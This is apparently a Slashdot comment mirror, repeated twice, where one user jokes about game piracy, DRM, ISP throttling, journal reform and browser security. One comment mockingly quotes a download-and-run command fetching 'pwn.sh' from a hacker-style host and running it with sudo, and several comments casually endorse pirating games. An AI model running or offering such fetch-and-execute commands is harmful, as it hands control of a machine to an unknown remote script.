Yeah joking aside I'll buy a copy LAN play or not, but I imagine I'll have to end up pirating a copy if I want full features. I've bought something like three copies of StarCraft over the years. I could have just repirated it but it's Blizzard.
Still, I'm sorry to see this. Blizzard has always seemed to have a tacit agreement with players where they don't even try to stop pirate single player/LAN (think the CD keys for their earlier games, where it would take 01234567890123), but then rule battle.net with an iron fist.
Gone are the days of LAN parties I guess; I don't want to futz with bnet just to play multiplayer. Not to mention when support ends down the road.
Of course, I will say that when the product you pay money for is inferior to the one you don't, then your business model is flawed. Perhaps it's time to accept that you have to fight piracy with market forces, not by buying laws.
Um...in most of America you don't have a choice. That's why it's a/monopoly/. Until we get some regulation (or competition, but that's just not going to happen) this is an issue.
Unfortunately, I'm still not convinced this bill actually does anything.
As in, the jitter sensitivity vs effectively blocking a protocol. Really what we need to do is separately consider bandwidth and latency. Perhaps allow shaping by latency (so that ssh, http, voip, etc get higher priority than bittorrent, etc) but not by overall bandwidth.
That's a little bit different than throttling bittorrent to the point where it takes a year to download an Ubuntu image like Comcast used to do. I'm so glad I moved and ditched those fuckers.
Suppose instead of blocking it you focused on detecting it, and use was punishable with ten years in prison. I'd stop using it, even for legal purposes.
I'm an American so this rule doesn't apply (national security is a euphemism for "because I said so, that's why; questioning the HSA is Counterfreedomary!")...but given the history of the sort of people who censor WikiLeaks I have to question whether or not I trust anyone who does.
yes, but this wouldn't work as well. turnitin intends to catch running a paper through a theosaurus or rewriting the occasional sentence/paragraph. Change a single letter and you defeat hashing
Agreed; I'm more worried about tiny pinhole cameras watching my keystrokes, that RF keylogging, or a rubber hose. My crypto has always been to deter the average thief who boots once to look for personal info before selling it online and to prevent other students from pranking me. Against a resourceful attacker you're pretty much screwed anyway.
My best defense is that the kind of people who/could/ break into my computer have better things to do.
The point is that it makes it super easy...all the police have to do is show up. Lojack provides evidence and testifies, if necessary. Police are working with a company they're used to working to.
After all, they care about noise complaints.
That said, I still think a cable lock is a ripoff
posted primarily to undo moderation that/.'s fucking AJAX put in for me.
If you don't like it, your recourse is not to do business with them, and convince as many as you can to not do business with them
Yohoho and a bottle of rum!
But mandatory piracy reference aside, I've been quite happy with the Amazon store (and iTunes now that it's DRM free, as it's higher quality, though it requires a windows VM). You just click, pay, and download an mp3. No DRM, properly tagged, no hassle.
I will buy a product over pirating it if the price is reasonable and it's equal quality (IE, no DRM). After all, most of the online deliveries I've found lately sport no DRM and can charge & download before I can fire up bittorrent.
Maybe DRM did spur innovation after all, if not the kind these cronies are bleating about.
I most definitely do not want the USPTO in charge of my health care. It's a good thing we can judge a whole by any of its parts, or else racism wouldn't work, now would it?
It varies dramatically by field. In many computer science journals, you give up only the right to/initial/ publication. Once the journal has published, you can publish it yourself elsewhere, online, etc.
Not all journals, in CS or elsewhere, are this reasonable though. If we did only one thing to improve the meritocracy in science it would be journal reform.
And that $20 buys...what exactly? It's not like there's any verification process. It's an extortion racket based on F. U. D. and oversimplifying inaccurately to users.
I'm a CS major and I don't understand how viewing a website can affect your computer. That would require the website to some how find and exploit a hypothetical flaw in the web browser's code, which is simply not possible in a well-written browser.
On a related note, when can I expect web browsers to start being written?
(non-sarcastic gist: viewing a website shouldn't be able to affect your computer. Their intuitive explanation is how it ought to be, but isn't)
"Legitimate sites will not do this" == lie. Seriously guys, fucking grow up. The number of changes I have had to make to firefox in code (not about:config, code) to disable autocomplete prevention, self-signed certs, etc...it's getting frustrating.
Slashdot Mirror
Yeah joking aside I'll buy a copy LAN play or not, but I imagine I'll have to end up pirating a copy if I want full features. I've bought something like three copies of StarCraft over the years. I could have just repirated it but it's Blizzard.
Still, I'm sorry to see this. Blizzard has always seemed to have a tacit agreement with players where they don't even try to stop pirate single player/LAN (think the CD keys for their earlier games, where it would take 01234567890123), but then rule battle.net with an iron fist.
Gone are the days of LAN parties I guess; I don't want to futz with bnet just to play multiplayer. Not to mention when support ends down the road.
Of course, I will say that when the product you pay money for is inferior to the one you don't, then your business model is flawed. Perhaps it's time to accept that you have to fight piracy with market forces, not by buying laws.
They claim it's to fight piracy.
therefore, to combat child pornography, I'll be pirating StarCraft II.
I thought it was "Think Different, just like everyone else"
Or sqlite: http://www.hwaci.com/cgi-bin/license-step1
Um...in most of America you don't have a choice. That's why it's a /monopoly/. Until we get some regulation (or competition, but that's just not going to happen) this is an issue.
Unfortunately, I'm still not convinced this bill actually does anything.
As in, the jitter sensitivity vs effectively blocking a protocol. Really what we need to do is separately consider bandwidth and latency. Perhaps allow shaping by latency (so that ssh, http, voip, etc get higher priority than bittorrent, etc) but not by overall bandwidth.
That's a little bit different than throttling bittorrent to the point where it takes a year to download an Ubuntu image like Comcast used to do. I'm so glad I moved and ditched those fuckers.
Suppose instead of blocking it you focused on detecting it, and use was punishable with ten years in prison. I'd stop using it, even for legal purposes.
I'm an American so this rule doesn't apply (national security is a euphemism for "because I said so, that's why; questioning the HSA is Counterfreedomary!")...but given the history of the sort of people who censor WikiLeaks I have to question whether or not I trust anyone who does.
Go back to Libertaria!
yes, but this wouldn't work as well. turnitin intends to catch running a paper through a theosaurus or rewriting the occasional sentence/paragraph. Change a single letter and you defeat hashing
That's a violation of international law: http://en.wikipedia.org/wiki/Geneva_convention
Agreed; I'm more worried about tiny pinhole cameras watching my keystrokes, that RF keylogging, or a rubber hose. My crypto has always been to deter the average thief who boots once to look for personal info before selling it online and to prevent other students from pranking me. Against a resourceful attacker you're pretty much screwed anyway.
My best defense is that the kind of people who /could/ break into my computer have better things to do.
It really don't matter how secure your computer is if you think you're invulnerable and are in the habit of typing
wget http://www.h4x0r.org/pwn.sh ./pwn.sh
chmod a+x pwn.sh
sudo
The point is that it makes it super easy...all the police have to do is show up. Lojack provides evidence and testifies, if necessary. Police are working with a company they're used to working to.
After all, they care about noise complaints.
That said, I still think a cable lock is a ripoff
posted primarily to undo moderation that /.'s fucking AJAX put in for me.
This is the year of the Vista desktop!
If you don't like it, your recourse is not to do business with them, and convince as many as you can to not do business with them
Yohoho and a bottle of rum!
But mandatory piracy reference aside, I've been quite happy with the Amazon store (and iTunes now that it's DRM free, as it's higher quality, though it requires a windows VM). You just click, pay, and download an mp3. No DRM, properly tagged, no hassle.
I will buy a product over pirating it if the price is reasonable and it's equal quality (IE, no DRM). After all, most of the online deliveries I've found lately sport no DRM and can charge & download before I can fire up bittorrent.
Maybe DRM did spur innovation after all, if not the kind these cronies are bleating about.
Now we can feel even more superior about where we don't buy it: Walmart!
What you burn your music to after you get it from bittorrent, if you want to back it up or make a mix for a friend.
I most definitely do not want the USPTO in charge of my health care. It's a good thing we can judge a whole by any of its parts, or else racism wouldn't work, now would it?
And this is why I'm too ashamed to travel abroad.
It varies dramatically by field. In many computer science journals, you give up only the right to /initial/ publication. Once the journal has published, you can publish it yourself elsewhere, online, etc.
Not all journals, in CS or elsewhere, are this reasonable though. If we did only one thing to improve the meritocracy in science it would be journal reform.
And that $20 buys...what exactly? It's not like there's any verification process. It's an extortion racket based on F. U. D. and oversimplifying inaccurately to users.
I'm a CS major and I don't understand how viewing a website can affect your computer. That would require the website to some how find and exploit a hypothetical flaw in the web browser's code, which is simply not possible in a well-written browser.
On a related note, when can I expect web browsers to start being written?
(non-sarcastic gist: viewing a website shouldn't be able to affect your computer. Their intuitive explanation is how it ought to be, but isn't)
"Legitimate sites will not do this" == lie. Seriously guys, fucking grow up. The number of changes I have had to make to firefox in code (not about:config, code) to disable autocomplete prevention, self-signed certs, etc...it's getting frustrating.